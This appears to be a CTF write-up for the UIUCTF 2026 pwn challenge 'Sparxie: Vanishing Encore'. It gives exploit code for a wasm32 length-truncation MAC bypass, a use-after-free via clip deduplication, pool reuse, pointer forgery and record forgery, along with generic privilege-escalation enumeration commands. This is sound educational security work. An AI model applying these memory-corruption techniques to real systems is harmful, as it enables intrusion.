← Back to Writeups
HTBN/APwn

Sparxie: Vanishing Encore

XESXOR8/23/20268 min read
#pwn#htb#n/a

Sparxie: Vanishing Encore

Platform: Uiuc2026 | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: wasm32_length_truncation, duplicate_clip_deduplication, dangling_clip_exploitation, pool_reuse, pointer_forgery, record_forgery

Summary

Task: A packed SPX2 cartridge runs as Lua text inside a restricted Lua 5.4 wasm32 service with hidden userdata APIs. Solution: Exploit wasm32 length truncation, duplicate-clip deduplication, LIFO pool reuse, and a forged lens pointer to rewrite a draft record.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: uiuc2026 | ID: 20260808_uiuc2026_sparxie_vanishing_encore
  • Tags: use_after_free, wasm, lua, userdata, allocator_reuse
  • Indicators: Lua 5.4 compiled for wasm32, string.unpack with an s8 counted field, duplicate clips deduplicated during render, LIFO reuse of a 4096-byte pool slot, lens entry containing a cached backing pointer
  • Source: 20260808_uiuc2026_sparxie_vanishing_encore.md

Foothold

Vulnerability / Misconfiguration

  1. Wasm32_length_truncation
  2. Duplicate_clip_deduplication
  3. Dangling_clip_exploitation
  4. Pool_reuse
  5. Pointer_forgery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • wasm32_length_truncation
  • duplicate_clip_deduplication
  • dangling_clip_exploitation
  • pool_reuse
  • pointer_forgery
  • record_forgery
  • Tags: use_after_free, wasm, lua, userdata, allocator_reuse

Original Writeup

<details><summary>Click to expand original content</summary>

Description

One Spotlight Pass remains. Upload one SPX2 creator cartridge.

The service accepts one binary SPX2 cartridge, unpacks it, and loads the result as a Lua text chunk in a restricted Lua 5.4 runtime compiled to WebAssembly. The objective is to reach the host import sparxie_redeem(A + 32, 32), which reads and prints /flag.txt. Reverse engineering showed that only draft:publish() calls this import.

Service and cartridge format

main.c reads at most one cartridge, checks the SPX2LIVE header, calls cartridge_unpack, opens only a limited set of Lua libraries, and disables helpers such as load, dofile, print, tostring, and string.format. It then exposes a global sparxie module and executes the unpacked bytes with:

luaL_loadbufferx(state, (const char *)chunk, chunk_len,
                 "@vanishing-encore", "t");

The supplied extracted/tools/pack.py implements the cartridge stream cipher, checksum, and header fields, so the final Lua source can be submitted without reimplementing the framing.

The JavaScript host makes the win condition explicit:

sparxie_redeem: function (noncePtr, nonceLen) {
  if (nonceLen !== 32) throw new Error("invalid backstage witness");
  const flag = require("fs").readFileSync("/flag.txt", "utf8").trim();
  out("[Sparxie] The final encore reached backstage.");
  out(flag);
}

Recovering the hidden Lua API

The Lua-facing implementation was not included as source, so its registration tables and methods had to be recovered from sparxicle.wasm, sparxicle.wat, sparxicle.dcmp, and code.txt. The useful API is:

sparxie.studio()
studio:clip(offset, size)
studio:render(timeline, permit)

sparxie.timeline({clip, ...})

sparxie.draft()
draft:publish()

sparxie.queue(draft)
queue:lens()
lens:receipt()
lens:read(offset, size)
lens:write(offset, bytes)

sparxie.review(pass)

The intended-looking chain is review -> render -> queue -> lens -> publish, but two implementation mistakes turn it into a memory-corruption exploit.

1. Building a valid RELAY permit on wasm32

spotlight_review migrates four bytes from route[8:12], four bytes from route[12:16], and 28 body bytes into a 36-byte buffer. wire_decode dynamically invokes Lua with the schema:

<!1s8I4I4I8

At first this appears impossible. The counted s8 field has an eight-byte little-endian length. Its low dword must be 12, while route_valid requires its high dword, route[12:16], to equal bytes 8 through 11 of the RELAY BLAKE2s MAC. Those bytes are a20585c3, not zero.

That conclusion is true in a native 64-bit Lua test, but not in the challenge. Lua is compiled for wasm32. The decoded 64-bit length is converted to 32-bit size_t, discarding the high dword. The effective string length is therefore 12 while the same eight-byte field can carry the required MAC bytes in its upper half.

The relevant make_relay.py construction is:

route = bytearray(16)
route[0:2] = b"\x27\x05"
route[8:12] = struct.pack("<I", 12)
relay = b2(
    b"SPARXIE::CATALOGUE::RELAY",
    seal,
    header[8:16],
    route[0:2],
    route[8:12],
)
route[2:8] = relay[0:6]
route[12:16] = relay[8:12]

This produces the exact valid route:

2705b9893afab0ed0c000000a20585c3

With the original body and allowed seal, sparxie.review(RELAY_PASS) returns a valid Permit, enabling studio:render().

The major lesson is to test ABI-dependent behavior under the target architecture. Native 64-bit Lua produced a convincing but false impossibility proof because its size_t width differed from wasm32.

2. Creating a dangling clip through timeline deduplication

The render logic performs two inconsistent counts:

  1. Its initial check sees both clip userdata objects, so the total clip count is two.
  2. Timeline migration deduplicates clips by identical (studio, offset, size), reducing those two clips to one migration entry.

During render, only the representative clip is retargeted to the studio's replacement buffer. The old 4096-byte pool-A slot is freed, while the duplicate clip still points to it. This leaves a stale clip with bounded but otherwise valid read/write methods over freed memory.

local permit = sparxie.review(RELAY_PASS)
local studio = sparxie.studio()

local live  = studio:clip(0, 4096)
local stale = studio:clip(0, 4096)
local timeline = sparxie.timeline({live, stale})
studio:render(timeline, permit)

The clips must be distinct userdata objects but have the same studio, offset, and size. This satisfies the count check while triggering the faulty deduplication behavior.

3. Reusing the slot as a queue page table

Pool A uses a LIFO freelist. Calling sparxie.queue(draft) immediately after render reuses the just-freed slot for a 4096-byte page table containing 63 entries of 64 bytes each. The stale clip now reads and writes this table.

queue:lens() selects one entry. lens:receipt() returns that entry's key, allowing the exploit to locate it by scanning the key field at index * 64 + 8. Its layout is:

+0x08  key
+0x0c  generation
+0x10  backing pointer
+0x14  size (16384)

The exploit overwrites only the backing pointer with aligned address 122880 and leaves the size equal to 16384:

local queue = sparxie.queue(draft)
local page_table = stale:read(0, 4096)
local lens = queue:lens()
local receipt = lens:receipt()

local selected
for index = 0, 62 do
  local key = string.unpack("<I4", page_table, index * 64 + 9)
  if key == receipt then selected = index; break end
end
assert(selected ~= nil)

stale:write(selected * 64 + 16, string.pack("<I4", 122880))

Lens validation requires a size of exactly 16384, an eight-byte-aligned pointer, and a pointer at or above 65536. Address 122880 satisfies all checks. On its first read, the lens validates and caches that pointer, creating a stable 16 KiB read/write window that covers pool B at 128800..137504.

local WINDOW_BASE = 122880

local function peek(address)
  return lens:read(address - WINDOW_BASE, 1):byte(1)
end

local function poke(address, byte)
  lens:write(address - WINDOW_BASE, string.char(byte))
end

4. Locating and forging the draft record

Pool B contains 32 records with a stride of 272 bytes. The record magic is stored at offset 260:

draft:     836282098  = 0x31d8a6f2
authority: 2656159651 = 0x9e51c7a3

Scanning the lens window finds both the fresh draft record R and authority record A:

local POOLB_BASE, STRIDE = 128800, 272
local pool = lens:read(POOLB_BASE - WINDOW_BASE, 32 * STRIDE)
local R, A

for index = 0, 31 do
  local magic = string.unpack("<I4", pool, index * STRIDE + 261)
  local address = POOLB_BASE + index * STRIDE
  if magic == 836282098  then R = address end
  if magic == 2656159651 then A = address end
end
assert(R and A)

Raw bytecode for func435 (sparxie.draft) and func442 (draft:publish) gives the exact checks. A fresh draft already has the correct record magic, the R+108/userdata relationship, and a valid cookie. The cookie remains valid as long as R+256 and the userdata are not modified. Only three fields need forging:

R+64   32-byte BLAKE2s proof
R+96   u64 little-endian 0x5a31c89e72d40b6f
R+104  u32 little-endian 0xb74e25c1

The R+104 constant is important: raw wasm contains decimal 3075352001, which is 0xb74e25c1. An earlier provisional decompilation value was incorrect.

The proof is runtime-dependent because both A[0:32] and the first 64 bytes of R contain fresh random data:

BLAKE2s(
  "SPARXIE::ENCORE::PROOF",
  A[0:32],
  R[0:32],
  R[32:64],
  allowed_seal,
  u64le(R@96),
  u32le(R@104),
  u32le(R@108)
)

The final forge uses a pure-Lua BLAKE2s implementation because the sandbox exposes no hashing library:

local CAMPAIGN_ID = 0x5a31c89e72d40b6f
local MAGIC_C26   = 0xb74e25c1

local AUTH = read_bytes(peek, A, 32)
local R27  = read_u32(peek, R + 108)

write_bytes(poke, R + 96,  u64le(CAMPAIGN_ID))
write_bytes(poke, R + 104, u32le(MAGIC_C26))

local proof = blake2s(
  bytes_of_str("SPARXIE::ENCORE::PROOF"),
  AUTH,
  read_bytes(peek, R, 32),
  read_bytes(peek, R + 32, 32),
  ALLOWED_SEAL,
  u64le(CAMPAIGN_ID),
  u32le(MAGIC_C26),
  u32le(R27)
)
write_bytes(poke, R + 64, proof)

draft:publish()

draft:publish() accepts the forged record and calls sparxie_redeem(A + 32, 32). The complete executable implementation, including the pure-Lua BLAKE2s code and binary RELAY envelope, is in exploit.lua.

Packing and reproduction

Pack the Lua source into the required SPX2 framing:

python3 extracted/tools/pack.py exploit.lua exploit.spx2

Verify against the supplied local Node.js harness and patched test flag:

node run.js < exploit.spx2

Expected success marker:

[Sparxie] The final encore reached backstage.
uiuctf{REDACTED}

The remote service reported that proof of work was disabled. Send the packed cartridge directly over TLS:

ncat --ssl sparxie-vanishing-encore.chal.uiuc.tf 1337 < exploit.spx2

The response contained the same success marker followed by the real flag.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR